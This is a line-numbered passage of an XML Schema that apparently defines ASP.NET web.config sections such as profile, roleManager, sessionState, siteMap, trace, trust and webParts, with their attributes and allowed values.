2772 <xs:complexType>
2773 <xs:attribute name="allowAnonymous" type="small_boolean_Type" use="optional" />
2774 <xs:attribute name="customProviderData" type="xs:string" use="optional" />
2775 <xs:attribute name="defaultValue" type="xs:string" use="optional" />
2776 <xs:attribute name="name" type="xs:string" use="required" />
2777 <xs:attribute name="provider" type="xs:string" use="optional" />
2778 <xs:attribute name="readOnly" type="small_boolean_Type" use="optional" />
2779 <xs:attribute name="serializeAs" use="optional">
2780 <xs:simpleType>
2781 <xs:restriction base="xs:NMTOKEN">
2782 <xs:enumeration value="Binary" />
2783 <xs:enumeration value="ProviderSpecific" />
2784 <xs:enumeration value="String" />
2785 <xs:enumeration value="Xml" />
2786 </xs:restriction>
2787 </xs:simpleType>
2788 </xs:attribute>
2789 <xs:attribute name="type" type="xs:string" use="optional" />
2790 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2791 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2792 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2793 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2794 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2795 </xs:complexType>
2796 </xs:element>
2797 <xs:element name="remove" vs:help="configuration/system.web/profile/properties/group/ProfileGroupSettings/remove">
2798 <xs:complexType>
2799 <xs:attribute name="name" type="xs:string" use="required" />
2800 </xs:complexType>
2801 </xs:element>
2802 <xs:element name="clear" vs:help="configuration/system.web/profile/properties/group/ProfileGroupSettings/clear">
2803 <xs:complexType>
2804 <!--tag is empty-->
2805 </xs:complexType>
2806 </xs:element>
2807 </xs:choice>
2808 <xs:attribute name="name" type="xs:string" use="required" />
2809 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2810 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2811 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2812 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2813 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2814 </xs:complexType>
2815 </xs:element>
2816 </xs:choice>
2817 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2818 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2819 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2820 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2821 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2822 </xs:complexType>
2823 </xs:element>
2824 <xs:element name="providers" vs:help="configuration/system.web/profile/providers">
2825 <xs:complexType>
2826 <xs:choice minOccurs="0" maxOccurs="unbounded">
2827 <xs:element name="add" vs:help="configuration/system.web/profile/providers/add">
2828 <xs:complexType>
2829 <xs:attribute name="name" type="xs:string" use="required" />
2830 <xs:attribute name="type" type="xs:string" use="required" />
2831 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2832 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2833 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2834 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2835 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2836 <xs:anyAttribute processContents="skip" />
2837 </xs:complexType>
2838 </xs:element>
2839 <xs:element name="remove" vs:help="configuration/system.web/profile/providers/remove">
2840 <xs:complexType>
2841 <xs:attribute name="name" type="xs:string" use="required" />
2842 </xs:complexType>
2843 </xs:element>
2844 <xs:element name="clear" vs:help="configuration/system.web/profile/providers/clear">
2845 <xs:complexType>
2846 <!--tag is empty-->
2847 </xs:complexType>
2848 </xs:element>
2849 </xs:choice>
2850 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2851 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2852 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2853 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2854 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2855 </xs:complexType>
2856 </xs:element>
2857 </xs:choice>
2858 <xs:attribute name="automaticSaveEnabled" type="small_boolean_Type" use="optional" />
2859 <xs:attribute name="defaultProvider" use="optional">
2860 <xs:simpleType>
2861 <xs:restriction base="xs:string">
2862 <xs:minLength value="1" />
2863 </xs:restriction>
2864 </xs:simpleType>
2865 </xs:attribute>
2866 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
2867 <xs:attribute name="inherits" type="xs:string" use="optional" />
2868 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2869 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2870 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2871 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2872 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2873 <xs:attribute name="configSource" type="xs:string" use="optional" />
2874 </xs:complexType>
2875 </xs:element>
2876 <xs:element name="roleManager" vs:help="configuration/system.web/roleManager">
2877 <xs:complexType>
2878 <xs:choice minOccurs="0" maxOccurs="unbounded">
2879 <xs:element name="providers" vs:help="configuration/system.web/roleManager/providers">
2880 <xs:complexType>
2881 <xs:choice minOccurs="0" maxOccurs="unbounded">
2882 <xs:element name="add" vs:help="configuration/system.web/roleManager/providers/add">
2883 <xs:complexType>
2884 <xs:attribute name="name" type="xs:string" use="required" />
2885 <xs:attribute name="type" type="xs:string" use="required" />
2886 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2887 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2888 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2889 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2890 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2891 <xs:anyAttribute processContents="skip" />
2892 </xs:complexType>
2893 </xs:element>
2894 <xs:element name="remove" vs:help="configuration/system.web/roleManager/providers/remove">
2895 <xs:complexType>
2896 <xs:attribute name="name" type="xs:string" use="required" />
2897 </xs:complexType>
2898 </xs:element>
2899 <xs:element name="clear" vs:help="configuration/system.web/roleManager/providers/clear">
2900 <xs:complexType>
2901 <!--tag is empty-->
2902 </xs:complexType>
2903 </xs:element>
2904 </xs:choice>
2905 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2906 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2907 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2908 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2909 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2910 </xs:complexType>
2911 </xs:element>
2912 </xs:choice>
2913 <xs:attribute name="cacheRolesInCookie" type="small_boolean_Type" use="optional" />
2914 <xs:attribute name="cookieName" use="optional">
2915 <xs:simpleType>
2916 <xs:restriction base="xs:string">
2917 <xs:minLength value="1" />
2918 <xs:whiteSpace value="collapse" />
2919 </xs:restriction>
2920 </xs:simpleType>
2921 </xs:attribute>
2922 <xs:attribute name="cookiePath" use="optional">
2923 <xs:simpleType>
2924 <xs:restriction base="xs:string">
2925 <xs:minLength value="1" />
2926 <xs:whiteSpace value="collapse" />
2927 </xs:restriction>
2928 </xs:simpleType>
2929 </xs:attribute>
2930 <xs:attribute name="cookieProtection" use="optional">
2931 <xs:simpleType>
2932 <xs:restriction base="xs:NMTOKEN">
2933 <xs:enumeration value="All" />
2934 <xs:enumeration value="Encryption" />
2935 <xs:enumeration value="None" />
2936 <xs:enumeration value="Validation" />
2937 </xs:restriction>
2938 </xs:simpleType>
2939 </xs:attribute>
2940 <xs:attribute name="cookieRequireSSL" type="small_boolean_Type" use="optional" />
2941 <xs:attribute name="cookieSlidingExpiration" type="small_boolean_Type" use="optional" />
2942 <xs:attribute name="cookieTimeout" use="optional">
2943 <xs:simpleType>
2944 <xs:restriction base="xs:string">
2945 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2946 </xs:restriction>
2947 </xs:simpleType>
2948 </xs:attribute>
2949 <xs:attribute name="createPersistentCookie" type="small_boolean_Type" use="optional" />
2950 <xs:attribute name="defaultProvider" use="optional">
2951 <xs:simpleType>
2952 <xs:restriction base="xs:string">
2953 <xs:minLength value="1" />
2954 <xs:whiteSpace value="collapse" />
2955 </xs:restriction>
2956 </xs:simpleType>
2957 </xs:attribute>
2958 <xs:attribute name="domain" type="xs:string" use="optional" />
2959 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
2960 <xs:attribute name="maxCachedResults" type="xs:int" use="optional" />
2961 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2962 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2963 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2964 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2965 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2966 <xs:attribute name="configSource" type="xs:string" use="optional" />
2967 </xs:complexType>
2968 </xs:element>
2969 <xs:element name="securityPolicy" vs:help="configuration/system.web/securityPolicy">
2970 <xs:complexType>
2971 <xs:choice minOccurs="0" maxOccurs="unbounded">
2972 <xs:element name="trustLevel" vs:help="configuration/system.web/securityPolicy/trustLevel">
2973 <xs:complexType>
2974 <xs:attribute name="name" use="required">
2975 <xs:simpleType>
2976 <xs:restriction base="xs:string">
2977 <xs:minLength value="1" />
2978 </xs:restriction>
2979 </xs:simpleType>
2980 </xs:attribute>
2981 <xs:attribute name="policyFile" type="xs:string" use="required" />
2982 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2983 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2984 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2985 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2986 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2987 </xs:complexType>
2988 </xs:element>
2989 </xs:choice>
2990 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2991 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2992 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2993 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2994 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2995 <xs:attribute name="configSource" type="xs:string" use="optional" />
2996 </xs:complexType>
2997 </xs:element>
2998 <xs:element name="sessionPageState" vs:help="configuration/system.web/sessionPageState">
2999 <xs:complexType>
3000 <xs:attribute name="historySize" use="optional">
3001 <xs:simpleType>
3002 <xs:restriction base="xs:int">
3003 <xs:minInclusive value="1" />
3004 </xs:restriction>
3005 </xs:simpleType>
3006 </xs:attribute>
3007 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3008 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3009 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3010 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3011 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3012 <xs:attribute name="configSource" type="xs:string" use="optional" />
3013 </xs:complexType>
3014 </xs:element>
3015 <xs:element name="sessionState" vs:help="configuration/system.web/sessionState">
3016 <xs:complexType>
3017 <xs:choice minOccurs="0" maxOccurs="unbounded">
3018 <xs:element name="providers" vs:help="configuration/system.web/sessionState/providers">
3019 <xs:complexType>
3020 <xs:choice minOccurs="0" maxOccurs="unbounded">
3021 <xs:element name="add" vs:help="configuration/system.web/sessionState/providers/add">
3022 <xs:complexType>
3023 <xs:attribute name="name" type="xs:string" use="required" />
3024 <xs:attribute name="type" type="xs:string" use="required" />
3025 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3026 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3027 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3028 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3029 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3030 </xs:complexType>
3031 </xs:element>
3032 <xs:element name="remove" vs:help="configuration/system.web/sessionState/providers/remove">
3033 <xs:complexType>
3034 <xs:attribute name="name" type="xs:string" use="required" />
3035 </xs:complexType>
3036 </xs:element>
3037 <xs:element name="clear" vs:help="configuration/system.web/sessionState/providers/clear">
3038 <xs:complexType>
3039 <!--tag is empty-->
3040 </xs:complexType>
3041 </xs:element>
3042 </xs:choice>
3043 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3044 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3045 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3046 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3047 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3048 </xs:complexType>
3049 </xs:element>
3050 </xs:choice>
3051 <xs:attribute name="allowCustomSqlDatabase" type="small_boolean_Type" use="optional" />
3052 <xs:attribute name="cookieless" use="optional">
3053 <xs:simpleType>
3054 <xs:restriction base="xs:NMTOKEN">
3055 <xs:enumeration value="AutoDetect" />
3056 <xs:enumeration value="UseCookies" />
3057 <xs:enumeration value="UseDeviceProfile" />
3058 <xs:enumeration value="UseUri" />
3059 <xs:enumeration value="true" />
3060 <xs:enumeration value="false" />
3061 </xs:restriction>
3062 </xs:simpleType>
3063 </xs:attribute>
3064 <xs:attribute name="cookieName" type="xs:string" use="optional" />
3065 <xs:attribute name="customProvider" type="xs:string" use="optional" />
3066 <xs:attribute name="mode" use="optional">
3067 <xs:simpleType>
3068 <xs:restriction base="xs:NMTOKEN">
3069 <xs:enumeration value="Custom" />
3070 <xs:enumeration value="InProc" />
3071 <xs:enumeration value="Off" />
3072 <xs:enumeration value="SQLServer" />
3073 <xs:enumeration value="StateServer" />
3074 </xs:restriction>
3075 </xs:simpleType>
3076 </xs:attribute>
3077 <xs:attribute name="partitionResolverType" type="xs:string" use="optional" />
3078 <xs:attribute name="regenerateExpiredSessionId" type="small_boolean_Type" use="optional" />
3079 <xs:attribute name="sessionIDManagerType" type="xs:string" use="optional" />
3080 <xs:attribute name="sqlCommandTimeout" type="xs:string" use="optional" />
3081 <xs:attribute name="sqlConnectionString" type="xs:string" use="optional" />
3082 <xs:attribute name="stateConnectionString" type="xs:string" use="optional" />
3083 <xs:attribute name="stateNetworkTimeout" type="xs:string" use="optional" />
3084 <xs:attribute name="timeout" use="optional">
3085 <xs:simpleType>
3086 <xs:restriction base="xs:string">
3087 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
3088 </xs:restriction>
3089 </xs:simpleType>
3090 </xs:attribute>
3091 <xs:attribute name="useHostingIdentity" type="small_boolean_Type" use="optional" />
3092 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3093 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3094 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3095 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3096 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3097 <xs:attribute name="configSource" type="xs:string" use="optional" />
3098 </xs:complexType>
3099 </xs:element>
3100 <xs:element name="siteMap" vs:help="configuration/system.web/siteMap">
3101 <xs:complexType>
3102 <xs:choice minOccurs="0" maxOccurs="unbounded">
3103 <xs:element name="providers" vs:help="configuration/system.web/siteMap/providers">
3104 <xs:complexType>
3105 <xs:choice minOccurs="0" maxOccurs="unbounded">
3106 <xs:element name="add" vs:help="configuration/system.web/siteMap/providers/add">
3107 <xs:complexType>
3108 <xs:attribute name="name" type="xs:string" use="required" />
3109 <xs:attribute name="type" type="xs:string" use="required" />
3110 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3111 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3112 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3113 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3114 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3115 <xs:anyAttribute processContents="skip" />
3116 </xs:complexType>
3117 </xs:element>
3118 <xs:element name="remove" vs:help="configuration/system.web/siteMap/providers/remove">
3119 <xs:complexType>
3120 <xs:attribute name="name" type="xs:string" use="required" />
3121 </xs:complexType>
3122 </xs:element>
3123 <xs:element name="clear" vs:help="configuration/system.web/siteMap/providers/clear">
3124 <xs:complexType>
3125 <!--tag is empty-->
3126 </xs:complexType>
3127 </xs:element>
3128 </xs:choice>
3129 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3130 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3131 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3132 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3133 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3134 </xs:complexType>
3135 </xs:element>
3136 </xs:choice>
3137 <xs:attribute name="defaultProvider" use="optional">
3138 <xs:simpleType>
3139 <xs:restriction base="xs:string">
3140 <xs:minLength value="1" />
3141 </xs:restriction>
3142 </xs:simpleType>
3143 </xs:attribute>
3144 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3145 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3146 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3147 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3148 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3149 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3150 <xs:attribute name="configSource" type="xs:string" use="optional" />
3151 </xs:complexType>
3152 </xs:element>
3153 <xs:element name="trace" vs:help="configuration/system.web/trace">
3154 <xs:complexType>
3155 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3156 <xs:attribute name="localOnly" type="small_boolean_Type" use="optional" />
3157 <xs:attribute name="mostRecent" type="small_boolean_Type" use="optional" />
3158 <xs:attribute name="pageOutput" type="small_boolean_Type" use="optional" />
3159 <xs:attribute name="requestLimit" use="optional">
3160 <xs:simpleType>
3161 <xs:restriction base="xs:int">
3162 <xs:minInclusive value="0" />
3163 </xs:restriction>
3164 </xs:simpleType>
3165 </xs:attribute>
3166 <xs:attribute name="traceMode" use="optional">
3167 <xs:simpleType>
3168 <xs:restriction base="xs:NMTOKEN">
3169 <xs:enumeration value="SortByCategory" />
3170 <xs:enumeration value="SortByTime" />
3171 </xs:restriction>
3172 </xs:simpleType>
3173 </xs:attribute>
3174 <xs:attribute name="writeToDiagnosticsTrace" type="small_boolean_Type" use="optional" />
3175 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3176 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3177 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3178 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3179 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3180 <xs:attribute name="configSource" type="xs:string" use="optional" />
3181 </xs:complexType>
3182 </xs:element>
3183 <xs:element name="trust" vs:help="configuration/system.web/trust">
3184 <xs:complexType>
3185 <xs:attribute name="level" use="required">
3186 <xs:simpleType>
3187 <xs:restriction base="xs:string">
3188 <xs:minLength value="1" />
3189 </xs:restriction>
3190 </xs:simpleType>
3191 </xs:attribute>
3192 <xs:attribute name="originUrl" type="xs:string" use="optional" />
3193 <xs:attribute name="processRequestInApplicationTrust" type="small_boolean_Type" use="optional" />
3194 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3195 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3196 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3197 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3198 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3199 <xs:attribute name="configSource" type="xs:string" use="optional" />
3200 </xs:complexType>
3201 </xs:element>
3202 <xs:element name="urlMappings" vs:help="configuration/system.web/urlMappings">
3203 <xs:complexType>
3204 <xs:choice minOccurs="0" maxOccurs="unbounded">
3205 <xs:element name="add" vs:help="configuration/system.web/urlMappings/add">
3206 <xs:complexType>
3207 <xs:attribute name="mappedUrl" type="xs:string" use="required" />
3208 <xs:attribute name="url" type="xs:string" use="required" />
3209 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3210 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3211 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3212 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3213 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3214 </xs:complexType>
3215 </xs:element>
3216 <xs:element name="remove" vs:help="configuration/system.web/urlMappings/remove">
3217 <xs:complexType>
3218 <xs:attribute name="url" type="xs:string" use="required" />
3219 </xs:complexType>
3220 </xs:element>
3221 <xs:element name="clear" vs:help="configuration/system.web/urlMappings/clear">
3222 <xs:complexType>
3223 <!--tag is empty-->
3224 </xs:complexType>
3225 </xs:element>
3226 </xs:choice>
3227 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
3228 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3229 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3230 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3231 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3232 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3233 <xs:attribute name="configSource" type="xs:string" use="optional" />
3234 </xs:complexType>
3235 </xs:element>
3236 <xs:element name="webControls" vs:help="configuration/system.web/webControls">
3237 <xs:complexType>
3238 <xs:attribute name="clientScriptsLocation" use="required">
3239 <xs:simpleType>
3240 <xs:restriction base="xs:string">
3241 <xs:minLength value="1" />
3242 </xs:restriction>
3243 </xs:simpleType>
3244 </xs:attribute>
3245 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3246 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3247 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3248 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3249 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3250 <xs:attribute name="configSource" type="xs:string" use="optional" />
3251 </xs:complexType>
3252 </xs:element>
3253 <xs:element name="webParts" vs:help="configuration/system.web/webParts">
3254 <xs:complexType>
3255 <xs:choice minOccurs="0" maxOccurs="unbounded">
3256 <xs:element name="personalization" vs:help="configuration/system.web/webParts/personalization">
3257 <xs:complexType>
3258 <xs:choice minOccurs="0" maxOccurs="unbounded">
3259 <xs:element name="authorization" vs:help="configuration/system.web/webParts/personalization/authorization">
3260 <xs:complexType>
3261 <xs:choice minOccurs="0" maxOccurs="unbounded">
3262 <xs:element name="allow" vs:help="configuration/system.web/webParts/personalization/authorization/allow">
3263 <xs:complexType>
3264 <xs:attribute name="roles" type="xs:string" use="optional" />
3265 <xs:attribute name="users" type="xs:string" use="optional" />
3266 <xs:attribute name="verbs" type="xs:string" use="optional" />
3267 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3268 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3269 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3270 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3271 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3272 </xs:complexType>
3273 </xs:element>
3274 <xs:element name="deny" vs:help="configuration/system.web/webParts/personalization/authorization/deny">
3275 <xs:complexType>
3276 <xs:attribute name="roles" type="xs:string" use="optional" />
3277 <xs:attribute name="users" type="xs:string" use="optional" />
3278 <xs:attribute name="verbs" type="xs:string" use="optional" />
3279 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3280 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3281 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3282 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3283 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3284 </xs:complexType>
3285 </xs:element>
3286 </xs:choice>
3287 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3288 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3289 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3290 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3291 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3292 </xs:complexType>
3293 </xs:element>
3294 <xs:element name="providers" vs:help="configuration/system.web/webParts/personalization/providers">
3295 <xs:complexType>
3296 <xs:choice minOccurs="0" maxOccurs="unbounded">
3297 <xs:element name="add" vs:help="configuration/system.web/webParts/personalization/providers/add">
3298 <xs:complexType>
3299 <xs:attribute name="name" type="xs:string" use="required" />
3300 <xs:attribute name="type" type="xs:string" use="required" />
3301 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3302 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3303 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3304 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3305 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3306 <xs:anyAttribute processContents="skip" />
3307 </xs:complexType>
3308 </xs:element>
3309 <xs:element name="remove" vs:help="configuration/system.web/webParts/personalization/providers/remove">
3310 <xs:complexType>
3311 <xs:attribute name="name" type="xs:string" use="required" />
3312 </xs:complexType>
3313 </xs:element>
3314 <xs:element name="clear" vs:help="configuration/system.web/webParts/personalization/providers/clear">
3315 <xs:complexType>
3316 <!--tag is empty-->
3317 </xs:complexType>
3318 </xs:element>
3319 </xs:choice>
3320 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3321 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3322 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3323 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3324 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3325 </xs:complexType>
3326 </xs:element>
3327 </xs:choice>
3328 <xs:attribute name="defaultProvider" use="optional">
3329 <xs:simpleType>
3330 <xs:restriction base="xs:string">
3331 <xs:minLength value="1" />
3332 </xs:restriction>
3333 </xs:simpleType>
3334 </xs:attribute>
3335 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3336 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3337 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3338 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3339 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3340 </xs:complexType>
3341 </xs:element>
3342 <xs:element name="transformers" vs:help="configuration/system.web/webParts/transformers">
3343 <xs:complexType>
3344 <xs:choice minOccurs="0" maxOccurs="unbounded">
3345 <xs:element name="add" vs:help="configuration/system.web/webParts/transformers/add">
3346 <xs:complexType>
3347 <xs:anyAttribute processContents="skip" />
3348 </xs:complexType>
3349 </xs:element>
3350 <xs:element name="remove" vs:help="configuration/system.web/webParts/transformers/remove">
3351 <xs:complexType>
3352 <xs:attribute name="name" use="required">
3353 <xs:simpleType>
3354 <xs:restriction base="xs:string">
3355 <xs:minLength value="1" />
3356 </xs:restriction>
3357 </xs:simpleType>
3358 </xs:attribute>
3359 </xs:complexType>
3360 </xs:element>
3361 <xs:element name="clear" vs:help="configuration/system.web/webParts/transformers/clear">
3362 <xs:complexType>
3363 <!--tag is empty-->
3364 </xs:complexType>
3365 </xs:element>
3366 </xs:choice>
3367 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3368 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3369 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3370 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3371 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3372 </xs:complexType>
3373 </xs:element>
3374 </xs:choice>
3375 <xs:attribute name="enableExport" type="small_boolean_Type" use="optional" />
3376 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3377 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3378 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3379 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
3380 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
3381 <xs:attribute name="configSource" type="xs:string" use="optional" />
3382 </xs:complexType>
3383 </xs:element>
3384 <xs:element name="webServices" vs:help="configuration/system.web/webServices">
3385 <xs:complexType>
3386 <xs:choice minOccurs="0" maxOccurs="unbounded">
3387 <xs:element name="conformanceWarnings" vs:help="configuration/system.web/webServices/conformanceWarnings">
3388 <xs:complexType>
3389 <xs:choice minOccurs="0" maxOccurs="unbounded">
3390 <xs:element name="add" vs:help="configuration/system.web/webServices/conformanceWarnings/add">
3391 <xs:complexType>
3392 <xs:attribute name="name" use="optional">
3393 <xs:simpleType>
3394 <xs:union>
3395 <xs:simpleType>
3396 <xs:restriction base="xs:NMTOKEN">
3397 <xs:enumeration value="BasicProfile1_1" />
3398 <xs:enumeration value="None" />
3399 </xs:restriction>
3400 </xs:simpleType>
3401 <xs:simpleType>
3402 <xs:restriction base="xs:string" />
3403 </xs:simpleType>
3404 </xs:union>
3405 </xs:simpleType>
3406 </xs:attribute>
3407 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
3408 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
3409 <xs:attribute name="lockElements" type="xs:string" use="optional" />
3410 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
